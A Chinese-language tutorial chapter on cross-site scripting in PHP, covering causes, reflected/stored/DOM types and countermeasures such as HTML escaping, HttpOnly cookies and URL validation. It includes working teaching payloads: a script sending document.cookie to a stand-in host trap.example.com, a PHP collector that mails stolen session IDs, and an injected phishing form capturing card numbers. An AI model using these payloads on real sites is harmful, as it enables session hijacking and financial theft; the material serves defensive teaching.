跨站脚本
页面显示处理中会产生的安全性问题有如下两项:
- 跨站脚本
- 错误消息导致的信息泄露
后者主要是因为错误消息可能含有对攻击者有帮助的内部信息,解决方式就是在应用程序发生错误时,仅在页面上显示“此时访问量过大,请稍后再试”等简单提示,而错误的详细内容则以错误日志(Error Log)的形式输出。
本章主要将跨站脚本的问题。
# 1. 概要
通常情况下,在 Web 应用的网页中,有些部分的显示内容会依据外界输入值而发生变化。而如果生成这些 HTML 的程序中存在问题,就会滋生名为跨站脚本(Cross-Site Scripting)的安全患跨站脚本的英语名称很长,所以经常缩写为 XSS。
XSS 主要产生以下风险:
- 用户的浏览器中运行攻击者的恶意脚本,从而导致 Cookie 信息被窃取,用户身份被冒名顶替;
- 攻击者能获得用户的权限来恶意使用 Web 应用的功能;
- 向用户显示伪造的输入表单,通过钓鱼式攻击窃取用户的个人信息
防范 XSS 的策略为:页面显示时将 HTML 中含有特殊意义的字符(元字符)转义。
# 2. 攻击手段与影响
我们看一下 XSS 被恶意使用的三种方式:
- 窃取 Cookie 值
- 通过 JavaScript 攻击
- 篡改网页
# 2.1 XSS 窃取 Cookie 值
假设下面的搜索页面需要用户登录后才能看到,页面上显示的是搜索关键词:
<?php
session_start();
// 登录检查(略)
?>
<body>
搜索关键字:<?php echo $_GET['keyword']; ?><BR>
以下略
</body>
2
3
4
5
6
7
8
- 其中
$GET['keyword']
表示取出请求该页面时的 query 参数中 key 为 “keyword” 的 value。
正常运行时,假设关键词是 “Haskell”,那么请求 URL 为:http://example.jp/43/43-001.php?keyword=Haskell
,此时页面显示如下:
接下来是攻击的例子,关键字指定为:
keyword=<script>alert{document.cookie}</script>
页面中将会出现弹框并显示出 Cookie 数据。表明外部注入的 JS 成功读取到了会话 ID。
现在的浏览器由于加强了安全性,将会阻挡通过 XSS 执行的 JavaScript。
# 2.2 使用被动攻击盗取他人的 Cookie
然而,能够显示自己的会话ID对于攻击者来说并无太大意义,在实际的攻击中,攻击者需要将存在隐患的网站的用户引诱至恶意网站。以下就是恶意网站的示例:
<html><body>
特价商品信息
<br><br>
<iframe width=320 height=100 src="http://example.jp/43/43-001.php?keyword=<script>window.location='http://trap.example.com/43/43-901.php?sid='%2Bdocument.cookie;</script>"></iframe>
</body></html>
2
3
4
5
恶意网站的 HTML 使用了 iframe 元素来显示存在隐患的网站的页面(/43/43-001php),并对其实施 XSS 攻击。存在隐患的网站的用户只要浏览了该恶意网站,浏览器中 iframe 里面的页面就会受到 XSS 攻击。一个恶意网站构造示例如下:
- 恶意网站的 iframe 中显示出存在隐患的网站
- 存在隐患的网站遭受攻击后,Cookie 值被添加到 URL 的查询字符串中,页面跳转到信息收集页面
- 信息收集页面将接收到的 Cookie 值通过邮件发送给攻击者
在上图的恶意网站运作方式中,打开图左侧的页面时,iframe 中会使用如下 URL 来请求隐患网页:
http://example.jp/43/43-001.php?keyword=<script>window.location='http://trap.example.com/43/43-901.php?sid='%2Bdocument.cookie;</script>
然后,存在隐患的网页中会执行如下的 JS 代码(为了便于阅读,这里做了换行):
<script>
window.location='http://trap.example.com/43/43-901.php?sid='
+ document.cookie;
</script>
2
3
4
这段 JS 脚本的作用是:添加 Cookie 值作为 URL 的 query 参数,并跳转到信息收集页面(/43/43-901.php)。以下为收集信息用的脚本,它会将收集到会话 ID 发送给攻击者的邮箱:
<?php
mb_language('Japanese');
$sid = $_GET['sid'];
mb_send_mail('wasbook@example.jp', '攻击成功', 'Session ID:' . $sid,
'From: cracked@trap.example.com');
?>
<body>攻击成功<br>
<?php echo $sid; ?>
</body>
2
3
4
5
6
7
8
9
如此这样,如果用户登录了存在隐患的网站后又浏览了恶意页面,那么就会中了 XSS 的招从而使自己的会话 ID 通过邮件发送给攻击者,攻击者就会利用得到的会话 ID 伪装成其他用户来肆意妄为。
# 2.3 通过 JavaScript 攻击
上面的例子是攻击者用 JavaScript 读取到了用户的 Cookie 值,然而,事实上利用 JavaScript 实施的攻击却远不止如此,一个典型案例就是利用 XSS 制造的蠕虫病毒。这些蠕虫病毒能够收集到大量的用户个人信息或伪装他人发布信息,从而形成潜在的巨大风险。
# 2.4 篡改网页
上面解说的攻击手段中,所攻击的网站仅限于支持会员登录的网站,其实,没有登录功能的网站同样也会遭受 XSS 攻击,如下例所示。
下面是新手机的预购网站,该网站由于存在 XSS 漏洞,因此能够对网站中的 HTML 元素进行添加/更改/删除,或者更改表单发送的目标:
网站脚本的主要内容如下,由于该页面兼任输入页面和编辑页面,因此各个输入框都有初始值,而 XSS 漏洞就源于此:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD><TITLE>全新收集预约</TITLE></HEAD>
<BODY>
<FORM action="" METHOD=POST>
姓 名<INPUT size="20" name="name" value="<?php echo @$_POST['name']; ?>"><BR>
住 所<INPUT size="20" name="addr" value="<?php echo @$_POST['addr']; ?>"><BR>
电话号码<INPUT size="20" name="tel" value="<?php echo @$_POST['tel']; ?>"><BR>
内 容<INPUT size="10" name="kind" value="<?php echo @$_POST['kind']; ?>">
数量<INPUT size="5" name="num" value="<?php echo @$_POST['num']; ?>"><BR>
<input type=submit value="申请"></FORM>
</BODY>
</HTML>
2
3
4
5
6
7
8
9
10
11
12
13
以下 HTML(43-902.html)是对该预约网站进行 XSS 攻击的恶意网页,页面上通过 CSS 将攻击需要的表单提交按钮伪装成了链接的样子:
<html>
<head><title>使用信用卡预约全新手机</title></head>
<body>
现在可以使用信用卡预约手机,赶紧下单吧。
<BR>
<form action="http://example.jp/43/43-002.php" method="POST">
<input name="name" type="hidden" value='
"></form><form style=top:5px;left:5px;position:absolute;z-index:99;background-color:white action=http://trap.example.com/43/43-903.php method=POST>请使用信用卡支付预购定金<br>姓 名<input size=20 name=name><br>地 址<input size=20 name=addr><br>电话号码<input size=20 name=tel><br>内 容<input size=10 name=kind>数 量<input size=5 name=num><br>信用卡号<input size=16 name=card>信用卡有效期<input size=5 name=thru><br><input value=申请 type=submit><BR><BR><BR><BR><BR></form>
'>
<input style="cursor:pointer;text-decoration:underline;color:blue;border:none;background:transparent;font-size:100%;"
type="submit" value="手机预约中心">
</form>
</body>
</html>
2
3
4
5
6
7
8
9
10
11
12
13
14
- line 8 是注入的 HTML
- line 10 中
type="submit"
实现了伪装成链接的按钮
下面是恶意网页的页面显示效果:
用户点击伪装的链接后,上面代码中的注入 HTML 就会被注入到页面,最终呈现效果与本节第一张图的预约网站一模一样,只是修改了提交的 action 的 URL 指向了恶意网站,这样用户输入的数据就被传到了坏人手里。
注入 HTML 所做的事情是:
- 使用
</form>
使原先页面的 form元素结束,并添加新的 form 元素,并指定 style 如下:- 通过指定绝对坐标将 form 的位置定位于左上角
- 将 z-index 设置为很大的值(99),确保其堆叠顺序在原先 form 的前面将背景色设为白色,从而隐藏原先的 form
- 将 action 的 URL 指定为恶意网站
这样的攻击后的页面地址栏显示的 URL 与之前正规的完全一样,用户不看源代码很难识别这一伪装。
由此可见,XSS 并非一定要用 JavaScript,所以如果防范策略仅局限于 script 标签(比如将“script”单词全部删除),攻击者还是会有可乘之机。对用户而言,仅在浏览器中禁止 JavaScript 也是不能得以高枕无忧的。
# 2.5 反射型 XSS 与存储型 XSS
我们根据攻击用 JavaScript 代码的存储地点将 XSS 攻击进行分类:
- 反射型 XSS:如果攻击用 JS 代码谓语攻击目标网站之外的其它网站(恶意网站或邮件中的 URL),就称之为反射型 XSS(Reflected XSS)。它多发生于网页将用户的输入值原封不动地显示出来的情况下,比如最先介绍的 43-001.php 的攻击模式。
- 存储型 XSS:攻击者将攻击用 JavaScript 代码保存在攻击对象的数据库中,这种模式的 XSS 就被称为存储型 XSS(Stored XSS)或持久性 XSS(Persistent XSS)。
- DOM based XSS:当网页中存在不通过服务器而是仅依靠前端 JavaScript 来显示的参数时,就有可能会招致 DOM based XSS 这种类型的 XSS 发生。
使用 Stored XSS 后无需攻击者费尽心思将用户引诱至恶意网站,而且即使是戒心很重的用户也会有很大的几率中招,因此对攻击者来说益处多多。
# 3. 安全隐患产生的原因
XSS 漏洞产生的原因为:生成 HTML 的过程中,HTML 语法中含有特殊意义的字符(元字符)没有被正确处理,结果导致 HTML 或 JavaScript 被肆意注入,从而使得原先的 HTML 结构产生变化。
为了消除元字符的特殊意义,将其转化为普通字符,就需要用到转义(Escape)处理。HTML 的 escape 处理对于消除 XSS 至关重要。
# 3.1 HTML Escape 概要
例如,在 HTML 中显式 <
时,必须按照字符实体引用(Character Entity Reference)将其 escape 为 <
,否则浏览器就会将其解释为标签的开始。
在 HTML 中,根据字符所处位置不同,应当转义的元字符也会发生变化:
位置 | 说明 | 最低限度的转义内容 |
---|---|---|
元素内容 | 能解释 Tag 和字符实体;结束边界字符 < | < 和 & 使用字符实体转义 |
属性值(双引号中的内容) | 能解释字符实体;结束边界字符为双引号 | 属性值用双引号括起来,< 、& 和 " 使用字符实体转义 |
接下来看一下不进行 escape 会受到怎样的 XSS 攻击。
# 3.2 不 escape 会受到怎样的攻击?
# 3.2.1 元素内容的 XSS
这种类型在之前的“通过 XSS 窃取 Cookie” 中已经介绍了。元素内容中发生的 XSS 是最基本的攻击模式,常发生于没有将 <
转义的情况。
# 3.2.2 没有用引号括起来的属性值的 XSS
如下脚本中的属性值没有用引号括起来:
<body>
<input type=text name=mail
value=<?php echo $_GET['p']; ?>>
</body>
2
3
4
此时假设 p 的值为:
1+onmounseover%3dalert(document.cookie)
URL 中 + 代表空格,%3d 代表等号,因此之前 input 元素就变成了如下这般:
<input type=text name=mail
value=1
onmouseover=alert(document.cookie)>
2
3
属性值没有用引号括起来时,空格就意味着属性值的结束,因此就可以通过插入空格来添加属性。
# 3.2.3 用引号括起来的属性值的 XSS
然而,即使属性值都用括号括了起来,但只要 "
没有被转义,还是会发生 XSS 攻击。比如如下脚本的属性值就被括号括了起来:
<body>
<input type="text" name="mail"
value="<?php echo $_GET['p']; ?>">
</body>
2
3
4
此时,假设 p 的值如下:
"+onmouseover%3d"alert(document.cookie)
之前的 input 元素就变成了如下这般:
<input type="text" name="mail"
value=""
onmouseover=alert(document.cookie)>
2
3
value=""
使得 value 属性结束,onmouseover
以后的字符被解释为事件绑定。因此,结果同前项一样。
# 4. 对策
XSS 漏洞产生的主要原因就是生成 HTML 时没有对 <
和 "
等进行转义,因此将特殊字符转义显然是重要对策。
# 4.1 XSS 对策的基础
HTML 中最低限度的防范策略如下:
- 元素内容中转义
<
和&
- 属性值用双引号括起来,并转义
<
和&
和"
在使用 PHP 时,可以使用 htmlspecialchars
函数进行 HTML 的 escape。
# 4.2 指定响应的字符编码
如果 Web 应用与浏览器各自设想的字符编码不一致,也会成为 XSS 的原因。PHP 中提供了多种指定字符编码的方法,其中最可靠的方法就是采用 header 函数:
header('Content-Type: text/html; charset=UTF-8');
# 4.3 XSS 的辅助性决策
由于需要提防的地方实在太多,导致容易有所疏漏。可以通过实施下面介绍的辅助性对策,这样即使根本性对策的实施有所疏漏,也能减免攻击造成的伤害。
# 4.3.1 输入校验
通过校验输入值的有效性,当输入值不符合条件时就显示错误消息并促使用户重新输入,有时也能够防御 XSS 攻击。
# 4.3.2 给 Cookie 添加 HttpOnly 属性
开启 Cookie 的 HttpOnly 属性能够禁止 JavaScript 读取 Cookie 值,从而能够杜绝 XSS 中窃取会话 ID 这一典型攻击手段。
需注意这只是限制了攻击者的选择范围,并不能杜绝所有 XSS 攻击。
# 4.3.3 关闭 TRACE 方法
关闭 TRACE 方法这是跨站追踪(Cross-Site Tracing,简称 XST)攻击的防范策略。XST 是指利用 JavaScript 发送 HTTP 的 TRACE 方法来窃取 Cookie 值或 Basic 认证密码的攻击手段。
XST 攻击利用的是 XSS 漏洞,所以只要消除了 XSS 漏洞就能保证安全无虞。而为了以防实施防范策略时有所遗漏,可以通过关闭 TRACE 方法来防御 XST 攻击。
实际上现在的主流览器都已经能够自己防御 XST,所以只要用户不使用一此另类的浏览器,就可以不用虑 XST 攻击。
在 Apache 中,可以在 httpd.conf 中做如下配置来关闭 TRACE 方法:
TraceEnable Off
对策总结
根本性对策(个别对策):
- HTML 的元素内容:使用
htmlspecialchars
函数转义 - 属性值:使用
htmlspecialchars
函数转义并用双引号括起来
根本性对策(共通对策):
- 明确设置 HTTP 响应的字符编码
辅助对策:
- 输入校验
- 给 Cookie 添加 HttpOnly 属性
- 关闭 TRACE 方法
后面几节作为面前的补充,继续介绍其他形式的 XSS 隐患,即 href 等保存 URL 的属性值、事件绑定函数以及 script 元素。
# 5. href 属性与 src 属性的 XSS
# 5.1 介绍
有些属性的值为 URL,比如 a 元素的 href 属性、img 元素、frame 元素、iframe 元素的 src 属性等。如果属性中 URL 的值是由外界传人的话,外界就能够使用 javascript:JavaScript 代码形式(javascript 协议)的 URL 执行 JavaScript 代码。比如,下面这段示例脚本的目的就是使用外界传人的 URL 来生成链接。
<body>
<a href="<?php echo htmlspecialchars($_GET['url']); ?>">书签</a>
</body>
2
3
作为攻击示范,下面我们使用以下的 URL 来执行这段脚本:
http://example.jp/43/43-010.php?url=javascript:alert(document.cookie)
生成的 HTML 代码如下:
<body>
<a href="javascript:alert(document.cookie)">书签</a>
</body>
2
3
可以看到,href 属性被设置了 JavaScript 协议,从而便能够执行 JavaScript 代码。这样,在页面上点击“书签”链接后,JavaScript 就会被执行。
# 5.2 生成 URL 时的对策
当 URL 由程序动态生成时,需要对其进行校验,仅允许 http 和 https 协议。此外,通过校验的 URL 还需要作为属性值进行 HTML 转义。
具体来说,URL 需满足下列两个条件中的一个:
- 以 http: 或 https: 开头的绝对 URL
- 以 / 开头的相对 URL
# 5.3 校验链接网址
如果外界能够任意指定链接的跳转去向,用户就有可能被引向恶意网站,从而被攻击者通过钓鱼式攻击方式骗取个人信息。因此,在不明确跳转至的外部网站的链接时,可以执行如下任一操作:
- 检查链接的目标 URL,如果指向外部网站就报错;
- 当链接目标为外部 URL 时,显示一个警告页面以提醒用户可能存在风险。